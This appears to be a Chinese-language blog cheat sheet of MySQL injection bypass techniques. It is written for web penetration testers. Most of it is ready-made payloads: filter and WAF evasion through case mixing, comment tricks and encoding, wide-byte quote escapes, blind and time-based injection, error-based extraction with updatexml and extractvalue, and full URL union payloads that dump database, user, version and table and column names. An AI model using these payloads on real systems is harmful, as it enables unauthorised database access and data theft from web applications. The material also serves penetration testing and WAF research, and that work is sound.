MySQL Bypass
中间件过滤绕过
大小写绕过
1 | mysql> SelEct * frOm UserS; |
双写绕过
在后台过滤逻辑是 将 关键字替换为空的时候,可以这么构造语句
1 | ?id=1 union selselectect union |
编码绕过
编码无非就是hex、url等等编码,让传到数据库的数据能够解析的即可,比如URL编码一般在传给业务的时候就会自动解码。
替换绕过
Web渗透时都可以尝试url编码进行绕过。
空格替换
在纯mysql下,我们可以用/**/
来代替空格。
1 | mysql> select/**/database(); |
我们还可以用+
来代替空格。
1 | mysql> select+database(); |
在有php中间件下,我们用%09
、%0A
、 %0B
、 %0C
、 %0D
、%A0
、%20
这些url字符来绕过空格。
1 | select%09database(); |
用()
来传递参数。
1 | mysql> select(id)from(users); |
内联空格
/*!select*/
: 相当于没有注释/*!12345select*/
: 当12345小于当前mysql版本号的时候,注释不生效,当大于版本号的时候注释生效。/*![]*/
: []中括号中的数字若填写则必须是5位
1 | mysql> select/*!94004*/1/*!94004*/and/*!94004*/1=2; |
运算符替换
等于号绕过
由于<>
等价于 !=
,我们可以再加一个!
来构成=
的效果.
1 | mysql> select * from users where !(id<>1); |
between
表示在两个值之前。
1 | mysql> select 1 between 1 and 2; |
in
表示在集合当中。
1 | mysql> select 1 in (1); |
like
表示模糊匹配
1 | mysql> select 123 like '1%'; |
regexp
正则匹配
1 | mysql> select 1234 regexp "^12.*"; |
Rlike
正则匹配
1 | mysql> select 1 and 123 rlike "^12.*"; |
strcmp(str1,str2)
若所有的字符串均相同,则返回0,若根据当前分类次序,第一个参数小于第二个,则返回 -1,其它情况返回 1
1 | mysql> select strcmp('123','123'); |
大于小于号绕过
我们可以用greatest()
与least()
还有max()
和min()
。
greatest(a,b)
返回a与b中较大的那个值。
1 | mysql> select greatest(1,2); |
least(a,b)
返回a与b中较小的那个值。
1 | mysql> select least(1,2); |
因此一个盲注sql语句:
1 | select * from users where id=1 and ascii(substr(database(),0,1))>64; |
可以替代成为:
1 | select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64 |
逻辑符号与关键词替代绕过
1 | (使用时需url编码) |
逗号绕过
在对于substr()
和mid()
这两个方法可以使用from to
的方式来解决:
1 | select substr(database() from 1 for 1); |
在对于limit
可以使用offset
来绕过:
1 | select id from books limit 1 offset 0; |
在对于select
可以使用jion
来绕过:
1 | select * from (select 1)a join (select 2)b; |
引号绕过
使用十六进制
1 | mysql> select * from users where id = '1'; |
用宽字节绕过
当我们输入的数据为:username=%df%27or%201=1%23&password=123
经过addslashes函数处理最终变成:username=%df%5c%27or%201=1%23&password=123
%df%5c=運
经过gbk解码得到:username=運'or 1=1#、password=123
,拼接到SQL语句得:
1 | select * from users where username = '運'or 1=1#' and password='123'; |
concat绕过
1 | mysql> select group_concat(table_name) from information_schema.tables where table_schema=concat(char(112),char(105),char(107),char(97),char(99),char(104),char(117)); |
注释符绕过
手动闭合,不使用注释符
1 | id=1' union select 1,2,3||'1 |
1 | id=1' union select 1,2,'3 |
函数替换
字符串截取等价函数绕过
SUBSTR ==> SUBSTRING
多种模式:
SUBSTRING(str,pos)、SUBSTRING(str FROM pos)、SUBSTRING(str,pos,len)、SUBSTRING(str FROM pos FOR len)
RIGHT
RIGHT(str,len),对指定字符串从最右边截取指定长度。
1 | mysql> select right(123,1); |
LEFT
LEFT(str,len),对指定字符串从最左边截取指定长度。
1 | mysql> select left(123,1); |
RPAD
RPAD(str,len,padstr),在 str 右方补齐 len 位的字符串 padstr,返回新字符串。如果 str 长度大于 len,则返回值的长度将缩减到 len 所指定的长度。也能达到字符串截取的功能。
1 | mysql> select rpad(database(),1,1); |
LPAD
LPAD(str,len,padstr),与RPAD相似,在str左边补齐。
MID
mid(str,pos,len)同于 SUBSTRING。
MAKE_SET
以下是一个示例:
1 | SELECT MAKE_SET(5, 'Apple', 'Banana', 'Cherry', 'Date', 'Elderberry'); |
在这个示例中,位掩码值为5,二进制表示为101
。对应的字符串列表为'Apple', 'Banana', 'Cherry', 'Date', 'Elderberry'
。因为第1位和第3位为1,所以返回的结果为'Apple,Cherry'
。
可用作布尔盲注:
1 | mysql> SELECT MAKE_SET((length(database())>1)+1,1,999); |
聚合函数等价替换
CONCAT
concat(str1,str2…),函数用于将多个字符串合并为一个字符串。
GROUP_CONCAT
返回一个字符串结果,该结果由分组中的值连接组合而成。
CONCAT_WS
用于将多个字符串连接在一起,并使用指定的分隔符进行分隔。WS
是”with separator”的缩写。
1 | mysql> SELECT CONCAT_WS(',---,', 'John', 'Doe', '123 Main St', 'City', 'Country'); |
延时函数替换
benchmark
重复执行某个语句的函数。通常需要进行消耗时间和性能的计算,比如哈希计算函数MD5(), 将MD5函数重复执行数万次则可以达到延迟的效果。
1 | payload: |
内联绕过
/* */
在mysql中是多行注释,但是如果里面加了! 那么后面的内容会被执行.
正常的sql语句:
1 | mysql> SELECT id FROM users WHERE id=1 UNION SELECT DATABASE(); |
含有/*! */
的sql语句:
1 | mysql> SELECT id FROM users WHERE id=1 /*!union*/ SELECT DATABASE(); |
我们还可以利用一个*/
去匹配多个/*!
,例如sql语句:
1 | SELECT id FROM users WHERE id=1 /*!union/*!select*/DATABASE(); |
if函数替换
CASE 表示函数开始,END 表示函数结束。如果 condition1 成立,则返回 result1, 如果 condition2 成立,则返回 result2,当全部不成立则返回 result,而当有一个成立之后,后面的就不执行了。
1 | mysql> select if(1>0,"1>0",1); |
过滤where
1 | 逻辑绕过 |
过滤group by
1 | 逻辑绕过 |
报错注入
exp
payload:exp(~(select * from(select user())a))
updatexml
payload:updatexml(1,concat(0x7e,(select user()),0x7e),1)
extractvalue
payload:(extractvalue(1,concat(0x7e,(select user()),0x7e)))
rand()+group()+count()
payload:select count(*),2,concat(':',(select database()),':',floor(rand()*2))as a from information_schema.tables group by a
GeometryCollection
payload:GeometryCollection((select * from (select* from(select user())a)b))
polygon
payload:polygon((select * from(select * from(select user())a)b))
multipoint
payload:multipoint((select * from(select * from(select user())a)b))
multilinestring
payload:multilinestring((select * from(select * from(select user())a)b))
linestring
payload:LINESTRING((select * from(select * from(select user())a)b))
multipolygon
payload:multipolygon((select * from(select * from(select user())a)b))
基于waf的绕过
每当 WAF 阻止查询包含空格/空白时,可以轻松替换为以下内容:
1 | /**/ |
当然有一些emoji也是好好用
1 | /*️*/ |
WAF 阻止从数据库检索信息
1 | 可以尝试去替换database(): |
当出现某些错误信息时
当您尝试通过基于 UNION 的查询查找哪一列容易受到攻击时,您会遇到以下错误:
1 | The used SELECT statements have a different number of columns 可以尝试使用一下语句 |
很多时候高版本的mysql中我们无法通过查询明文内容获取到表名和列名,这时候考虑将列名或者数据库名替换为HEX格式试试
database -> 0x6c69746f666c6578
写入 information_schema=’ 0x6c69746f666c6578’
学会使用NULL
传统用法
1 | union select null,null,null 等于 |
例如一个语句中使用0为空
1 | http://website.com/index.php?id=1 div 0 Union Select "0 div 0 Union Select 0,0,0,0,concat(0x222f3e,0x3c62723e,'Injected',0x3c62723e,'<br>','Database :: ',database(),0x3c62723e,'User :: ',user(),0x3c62723e,'Version :: ',version(),0x3c62723e,user(),make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@),0x3c62723e),0--+",0,0,0,0,0--+ |
使用false为null
1 | http://website.com/index.php?id=1 div false Union Select "false div false Union Select false,false,false,false,concat(0x222f3e,0x3c62723e,'Injected',0x3c62723e,'<br>','Database :: ',database(),0x3c62723e,'User :: ',user(),0x3c62723e,'Version :: ',version(),0x3c62723e,user(),make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@),0x3c62723e),false--+",false,false,false,false,false--+ |
还有char()
1 | http://website.com/index.php?id=1 div char(null) Union Select "char(null) div char(null) Union Select char(null),char(null),char(null),char(null),concat(0x222f3e,0x3c62723e,'Injected',0x3c62723e,'<br>','Database :: ',database(),0x3c62723e,'User :: ',user(),0x3c62723e,'Version :: ',version(),0x3c62723e,user(),make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@),0x3c62723e),char(null)--+",char(null),char(null),char(null),char(null),char(null)--+ |